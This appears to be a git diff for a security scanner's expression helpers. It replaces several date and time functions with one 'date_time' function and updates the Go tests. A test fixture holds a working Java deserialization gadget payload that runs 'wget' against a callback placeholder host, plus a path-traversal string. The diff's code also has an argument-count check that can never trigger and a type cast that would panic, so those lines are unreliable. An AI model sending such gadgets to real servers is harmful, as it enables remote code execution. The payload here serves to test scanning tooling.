diff --git a/v2/pkg/operators/common/dsl/dsl.go b/v2/pkg/operators/common/dsl/dsl.go index 6bac8ec0f..d74a48675 100644 --- a/v2/pkg/operators/common/dsl/dsl.go +++ b/v2/pkg/operators/common/dsl/dsl.go @@ -47,6 +47,7 @@ var invalidDslFunctionMessageTemplate = "%w. correct method signature %q" var dslFunctions map[string]dslFunction +var functionSignaturePattern = regexp.MustCompile(`(\w+)\s*\((?:([\w\d,\s]+)\s+([.\w\d{}&*]+))?\)([\s.\w\d{}&*]+)?`) var dateFormatRegex = regexp.MustCompile("%([A-Za-z])") type dslFunction struct { @@ -155,66 +156,29 @@ func init() { _ = reader.Close() return string(data), nil }), - "date": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { - timeFormat := types.ToString(args[0]) - timeFormatFragment := dateFormatRegex.FindAllStringSubmatch(timeFormat, -1) + "date_time": makeDslWithOptionalArgsFunction( + "(dateTimeFormat string, optionalUnixTime interface{}) string", + func(arguments ...interface{}) (interface{}, error) { + dateTimeFormat := types.ToString(arguments[0]) + dateTimeFormatFragment := dateFormatRegex.FindAllStringSubmatch(dateTimeFormat, -1) - for _, currentFragment := range timeFormatFragment { - if len(currentFragment) < 2 { - continue + argumentsSize := len(arguments) + if argumentsSize < 1 && argumentsSize > 2 { + return nil, errors.New("invalid number of arguments") } - now := time.Now() - prefixedFormatFragment := currentFragment[0] - switch currentFragment[1] { - case "Y", "y": - timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Year()) - case "M", "m": - timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, int(now.Month())) - case "D", "d": - timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Day()) - default: - return nil, fmt.Errorf("invalid date format string: %s", prefixedFormatFragment) - } - } - return timeFormat, nil - }), - "time": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { - timeFormat := types.ToString(args[0]) - timeFormatFragment := dateFormatRegex.FindAllStringSubmatch(timeFormat, -1) - for _, currentFragment := range timeFormatFragment { - if len(currentFragment) < 2 { - continue + currentTime, err := getCurrentTimeFromUserInput(arguments) + if err != nil { + return nil, err } - now := time.Now() - prefixedFormatFragment := currentFragment[0] - switch currentFragment[1] { - case "H", "h": - timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Hour()) - case "M", "m": - timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Minute()) - case "S", "s": - timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Second()) - default: - return nil, fmt.Errorf("invalid time format string: %s", prefixedFormatFragment) + + if len(dateTimeFormatFragment) > 0 { + return doSimpleTimeFormat(dateTimeFormatFragment, currentTime, dateTimeFormat) + } else { + return currentTime.Format(dateTimeFormat), nil } - } - return timeFormat, nil - }), - "time_format": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { - t := time.Now() - return t.Format(args[0].(string)), nil - }), - "time_to_string": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { - if got, ok := args[0].(time.Time); ok { - return got.String(), nil - } - if got, ok := args[0].(float64); ok { - seconds, nanoseconds := math.Modf(got) - return time.Unix(int64(seconds), int64(nanoseconds)).String(), nil - } - return nil, fmt.Errorf("invalid time format: %T", args[0]) - }), + }, + ), "base64_py": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { // python encodes to base64 with lines of 76 bytes terminated by new line "\n" stdBase64 := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0]))) @@ -549,37 +513,6 @@ func init() { } } -func toHexEncodedHash(hashToUse hash.Hash, data string) (interface{}, error) { - if _, err := hashToUse.Write([]byte(data)); err != nil { - return nil, err - } - return hex.EncodeToString(hashToUse.Sum(nil)), nil -} - -func formatDateTime(inputFormat string, matchValue string, timeFragment int) string { - return strings.ReplaceAll(inputFormat, matchValue, appendSingleDigitZero(strconv.Itoa(timeFragment))) -} - -// appendSingleDigitZero appends zero at front if not exists already doing two digit padding -func appendSingleDigitZero(value string) string { - if len(value) == 1 && (!strings.HasPrefix(value, "0") || value == "0") { - builder := &strings.Builder{} - builder.WriteRune('0') - builder.WriteString(value) - newVal := builder.String() - return newVal - } - return value -} - -func createSignaturePart(numberOfParameters int) string { - params := make([]string, 0, numberOfParameters) - for i := 1; i <= numberOfParameters; i++ { - params = append(params, "arg"+strconv.Itoa(i)) - } - return fmt.Sprintf("(%s interface{}) interface{}", strings.Join(params, ", ")) -} - func makeDslWithOptionalArgsFunction(signaturePart string, dslFunctionLogic govaluate.ExpressionFunction) func(functionName string) dslFunction { return func(functionName string) dslFunction { return dslFunction{ @@ -604,6 +537,14 @@ func makeDslFunction(numberOfParameters int, dslFunctionLogic govaluate.Expressi } } +func createSignaturePart(numberOfParameters int) string { + params := make([]string, 0, numberOfParameters) + for i := 1; i <= numberOfParameters; i++ { + params = append(params, "arg"+strconv.Itoa(i)) + } + return fmt.Sprintf("(%s interface{}) interface{}", strings.Join(params, ", ")) +} + // HelperFunctions returns the dsl helper functions func HelperFunctions() map[string]govaluate.ExpressionFunction { helperFunctions := make(map[string]govaluate.ExpressionFunction, len(dslFunctions)) @@ -657,8 +598,6 @@ func getDslFunctionSignatures() []string { return result } -var functionSignaturePattern = regexp.MustCompile(`(\w+)\s*\((?:([\w\d,\s]+)\s+([.\w\d{}&*]+))?\)([\s.\w\d{}&*]+)?`) - func colorizeDslFunctionSignatures() []string { signatures := getDslFunctionSignatures() @@ -724,3 +663,75 @@ func randSeq(base string, n int) string { } return string(b) } + +func toHexEncodedHash(hashToUse hash.Hash, data string) (interface{}, error) { + if _, err := hashToUse.Write([]byte(data)); err != nil { + return nil, err + } + return hex.EncodeToString(hashToUse.Sum(nil)), nil +} + +func doSimpleTimeFormat(dateTimeFormatFragment [][]string, currentTime time.Time, dateTimeFormat string) (interface{}, error) { + for _, currentFragment := range dateTimeFormatFragment { + if len(currentFragment) < 2 { + continue + } + prefixedFormatFragment := currentFragment[0] + switch currentFragment[1] { + case "Y", "y": + dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Year()) + case "M": + dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, int(currentTime.Month())) + case "D", "d": + dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Day()) + case "H", "h": + dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Hour()) + case "m": + dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Minute()) + case "S", "s": + dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Second()) + default: + return nil, fmt.Errorf("invalid date time format string: %s", prefixedFormatFragment) + } + } + return dateTimeFormat, nil +} + +func getCurrentTimeFromUserInput(arguments []interface{}) (time.Time, error) { + var currentTime time.Time + if len(arguments) == 2 { + switch inputUnixTime := arguments[1].(type) { + case time.Time: + currentTime = inputUnixTime + case string: + unixTime, err := strconv.ParseInt(inputUnixTime, 10, 64) + if err != nil { + return time.Time{}, errors.New("invalid argument type") + } + currentTime = time.Unix(unixTime, 0) + case int64, float64: + currentTime = time.Unix(int64(inputUnixTime.(float64)), 0) + default: + return time.Time{}, errors.New("invalid argument type") + } + } else { + currentTime = time.Now() + } + return currentTime, nil +} + +func formatDateTime(inputFormat string, matchValue string, timeFragment int) string { + return strings.ReplaceAll(inputFormat, matchValue, appendSingleDigitZero(strconv.Itoa(timeFragment))) +} + +// appendSingleDigitZero appends zero at front if not exists already doing two digit padding +func appendSingleDigitZero(value string) string { + if len(value) == 1 && (!strings.HasPrefix(value, "0") || value == "0") { + builder := &strings.Builder{} + builder.WriteRune('0') + builder.WriteString(value) + newVal := builder.String() + return newVal + } + return value +} diff --git a/v2/pkg/operators/common/dsl/dsl_test.go b/v2/pkg/operators/common/dsl/dsl_test.go index 723829095..4b0ed80b0 100644 --- a/v2/pkg/operators/common/dsl/dsl_test.go +++ b/v2/pkg/operators/common/dsl/dsl_test.go @@ -51,16 +51,44 @@ func TestDSLGzipSerialize(t *testing.T) { require.Equal(t, "hello world", data.(string), "could not get gzip encoded data") } -func TestTimeToStringDSLFunction(t *testing.T) { - compiled, err := govaluate.NewEvaluableExpressionWithFunctions("time_to_string(data)", HelperFunctions()) - require.Nil(t, err, "could not compile encoder") +func TestDateTimeDSLFunction(t *testing.T) { - data := time.Now() - result, err := compiled.Evaluate(map[string]interface{}{"data": data}) - require.Nil(t, err, "could not evaluate compare time") + testDateTimeFormat := func(t *testing.T, dateTimeFormat string, dateTimeFunction *govaluate.EvaluableExpression, expectedFormattedTime string, currentUnixTime int64) { + dslFunctionParameters := map[string]interface{}{"dateTimeFormat": dateTimeFormat} - require.Equal(t, data.String(), result.(string), "could not get correct time format string") + if currentUnixTime != 0 { + dslFunctionParameters["unixTime"] = currentUnixTime + } + + result, err := dateTimeFunction.Evaluate(dslFunctionParameters) + + require.Nil(t, err, "could not evaluate compare time") + + require.Equal(t, expectedFormattedTime, result.(string), "could not get correct time format string") + } + + t.Run("with Unix time", func(t *testing.T) { + dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat)", HelperFunctions()) + require.Nil(t, err, "could not compile encoder") + + currentTime := time.Now() + expectedFormattedTime := currentTime.Format("02-01-2006 15:04") + testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, 0) + testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, 0) + }) + + t.Run("without Unix time", func(t *testing.T) { + dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat, unixTime)", HelperFunctions()) + require.Nil(t, err, "could not compile encoder") + + currentTime := time.Now() + currentUnixTime := currentTime.Unix() + expectedFormattedTime := currentTime.Format("02-01-2006 15:04") + testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, currentUnixTime) + testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, currentUnixTime) + }) } + func TestDslFunctionSignatures(t *testing.T) { type testCase struct { methodName string @@ -111,7 +139,7 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) { compare_versions(firstVersion, constraints ...string) bool concat(args ...interface{}) string contains(arg1, arg2 interface{}) interface{} - date(arg1 interface{}) interface{} + date_time(dateTimeFormat string, optionalUnixTime interface{}) string dec_to_hex(arg1 interface{}) interface{} generate_java_gadget(arg1, arg2, arg3 interface{}) interface{} gzip(arg1 interface{}) interface{} @@ -141,9 +169,6 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) { reverse(arg1 interface{}) interface{} sha1(arg1 interface{}) interface{} sha256(arg1 interface{}) interface{} - time(arg1 interface{}) interface{} - time_format(arg1 interface{}) interface{} - time_to_string(arg1 interface{}) interface{} to_lower(arg1 interface{}) interface{} to_number(arg1 interface{}) interface{} to_string(arg1 interface{}) interface{} @@ -177,41 +202,42 @@ func TestDslExpressions(t *testing.T) { now := time.Now() dslExpressions := map[string]interface{}{ - `base64("Hello")`: "SGVsbG8=", - `base64(1234)`: "MTIzNA==", - `base64_py("Hello")`: "SGVsbG8=\n", - `hex_encode("aa")`: "6161", - `html_escape("test")`: "<body>test</body>", - `html_unescape("<body>test</body>")`: "test", - `date("%Y-%M-%D")`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()), - `time("%H-%M")`: fmt.Sprintf("%02d-%02d", now.Hour(), now.Minute()), - `md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7", - `md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055", - `mmh3("Hello")`: "316307400", - `remove_bad_chars("abcd", "bc")`: "ad", - `replace("Hello", "He", "Ha")`: "Hallo", - `concat("Hello", 123, "world")`: "Hello123world", - `join("_", "Hello", 123, "world")`: "Hello_123_world", - `repeat("a", 5)`: "aaaaa", - `repeat("a", "5")`: "aaaaa", - `repeat("../", "5")`: "../../../../../", - `repeat(5, 5)`: "55555", - `replace_regex("He123llo", "(\\d+)", "")`: "Hello", - `reverse("abc")`: "cba", - `sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0", - `sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969", - `to_lower("HELLO")`: "hello", - `to_upper("hello")`: "HELLO", - `trim("aaaHelloddd", "ad")`: "Hello", - `trim_left("aaaHelloddd", "ad")`: "Helloddd", - `trim_prefix("aaHelloaa", "aa")`: "Helloaa", - `trim_right("aaaHelloddd", "ad")`: "aaaHello", - `trim_space(" Hello ")`: "Hello", - `trim_suffix("aaHelloaa", "aa")`: "aaHello", + `base64("Hello")`: "SGVsbG8=", + `base64(1234)`: "MTIzNA==", + `base64_py("Hello")`: "SGVsbG8=\n", + `hex_encode("aa")`: "6161", + `html_escape("test")`: "<body>test</body>", + `html_unescape("<body>test</body>")`: "test", + `date_time("%Y-%M-%D")`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()), + `date_time("%H-%m")`: fmt.Sprintf("%02d-%02d", now.Hour(), now.Minute()), + `date_time("02-01-2006 15:04")`: now.Format("02-01-2006 15:04"), + `md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7", + `md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055", + `mmh3("Hello")`: "316307400", + `remove_bad_chars("abcd", "bc")`: "ad", + `replace("Hello", "He", "Ha")`: "Hallo", + `concat("Hello", 123, "world")`: "Hello123world", + `join("_", "Hello", 123, "world")`: "Hello_123_world", + `repeat("a", 5)`: "aaaaa", + `repeat("a", "5")`: "aaaaa", + `repeat("../", "5")`: "../../../../../", + `repeat(5, 5)`: "55555", + `replace_regex("He123llo", "(\\d+)", "")`: "Hello", + `reverse("abc")`: "cba", + `sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0", + `sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969", + `to_lower("HELLO")`: "hello", + `to_upper("hello")`: "HELLO", + `trim("aaaHelloddd", "ad")`: "Hello", + `trim_left("aaaHelloddd", "ad")`: "Helloddd", + `trim_prefix("aaHelloaa", "aa")`: "Helloaa", + `trim_right("aaaHelloddd", "ad")`: "aaaHello", + `trim_space(" Hello ")`: "Hello", + `trim_suffix("aaHelloaa", "aa")`: "aaHello", `url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1", `url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1", - `gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00", - `zlib("Hello")`: "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5", + `gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00", + `zlib("Hello")`: "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5", `zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))`: "Hello", `gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello", `generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==", @@ -232,7 +258,6 @@ func TestDslExpressions(t *testing.T) { `compare_versions('v1.0.0', '>v0.0.1', '